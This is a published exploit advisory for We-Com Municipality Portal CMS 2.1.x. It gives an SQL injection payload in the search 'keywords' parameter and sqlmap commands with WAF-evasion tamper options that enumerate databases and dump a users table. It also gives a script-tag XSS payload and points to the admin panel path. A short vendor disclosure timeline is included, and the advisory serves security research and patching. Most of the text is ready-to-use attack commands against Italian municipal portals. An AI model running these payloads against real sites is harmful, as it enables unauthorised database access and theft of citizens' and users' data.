We-Com Municipality Portal CMS 2.1.x Cross Site Scripting / SQL Injection

2020-06-03 / 2020-06-02

Credit: **thelastvvv (https://cxsecurity.com/author/thelastvvv/1/)**

Risk: **Medium**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**
CWE-79 (https://cxsecurity.com/cwe/CWE-79)

```
# Exploit Title: We-com Municipality portal CMS SQL Injection & XSS Vulnerability
# Google Dork:N/A
# Date: 2020-04-17
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.we-com.it/
# Version: 2.1.x
# Tested on: 5.5.0-kali1-amd64

------------------------------------------------------------


Vendor contact timeline:


2020-05-05: Contacting vendor through  info@we-com.it
2020-05-26: A Patch is published in the versions
2020-06-01: Release of security advisory




PoC 1:
The attacker once locate the sql vulnerability in the "keywords" parameter of the portal search bar then the attacker  will be able to  p
erform an automated process to exploit the secruity  of Italien Municipality portal CMS
Payload(s)

http://www.site.it/cerca/
POST Data: keywords='1'--

SQLMAP Payload(s):


sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comm
ent" --dbs

sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comm
ent" -D **_db --tables

sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comm
ent" --dump -D **_db -T utenti


PoC 2 :

XSS Vulnerability

Payload(s) :
http://www.site.com/cerca/
in the search bar:
'"<script>alert(1);</script>%
```

Admin panel:

www.site.it/admin/

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020060011)

Tv

Lul

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)